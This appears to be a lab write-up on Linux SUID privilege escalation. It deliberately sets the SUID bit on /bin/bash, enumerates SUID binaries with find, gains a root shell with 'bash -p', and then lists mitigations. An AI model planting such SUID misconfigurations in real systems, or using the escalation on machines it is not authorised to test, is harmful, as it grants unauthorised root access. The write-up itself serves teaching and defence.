

Task 4

SUID & Privilege Escalation

1. The command enables the SUID (Set User ID) bit on /bin/bash, allowing it to run with the owner's (root) privileges.

```
(oxydevil@kali)-[~/Desktop]
$ sudo chmod u+s /bin/bash
[sudo] password for oxydevil:
```

2. Creating a script with root privileges ➤ The 4755 permission setting ensures the following:
 - 4 → Sets the SUID (Set User ID) bit.
 - 7 → Grants the owner read (r), write (w), and execute (x) permissions.
 - 5 → Grants the group read (r) and execute (x) permissions.
 - 5 → Grants others read (r) and execute (x) permissions.

```
(oxydevil@kali)-[~/Desktop]
$ chmod 4755 root_script.sh
```

Exploit

1. To detect SUID misconfigurations, run the command `find / -perm -4000 2>/dev/null`, which lists files with the SUID bit set while suppressing errors from inaccessible directories. To escalate privileges to root, execute `/bin/bash -p`, where the `-p` flag ensures the shell retains elevated privileges, granting root access.

```
File Actions Edit View Help
(oxydevil@kali)-[~/Desktop]
$ find / -perm -4000 2>/dev/null
/usr/sbin/mount.cifs
/usr/sbin/pppd
/usr/sbin/mount.nfs
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/chromium/chrome-sandbox
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/xorg/Xorg.wrap
/usr/bin/rsh-redone-rsh
/usr/bin/kismet_cap_rz_killerbee
/usr/bin/sudo
/usr/bin/kismet_cap_ti_cc_2531
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/kismet_cap_nrf_52840
/usr/bin/umount
/usr/bin/kismet_cap_nrf_mousejack
/usr/bin/kismet_cap_ubertooth_one
/usr/bin/kismet_cap_linux_wifi
/usr/bin/fusermount3
/usr/bin/kismet_cap_nxp_kw41z
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/kismet_cap_nrf_51822
/usr/bin/ntfs-3g
/usr/bin/kismet_cap_hak5_wifi_coconut
/usr/bin/su
/usr/bin/rsh-redone-rlogin
/usr/bin/chfn
/usr/bin/kismet_cap_linux_bluetooth
/usr/bin/bash
/usr/bin/kismet_cap_ti_cc_2540
/usr/bin/gpasswd
/home/oxydevil/Downloads/opt/google/chrome/chrome-sandbox
```

Mitigation

1. To improve security, remove unnecessary SUID permissions with `chmod -s /bin/bash`, and limit script execution to specific users by adjusting file ownership using `chown root:trusted_user root_script.sh`. Additionally, configure the `sudoers` file for stricter access control.

```
(oxydevil@kali)-[~/Desktop]
$ sudo chmod -s /bin/bash
```

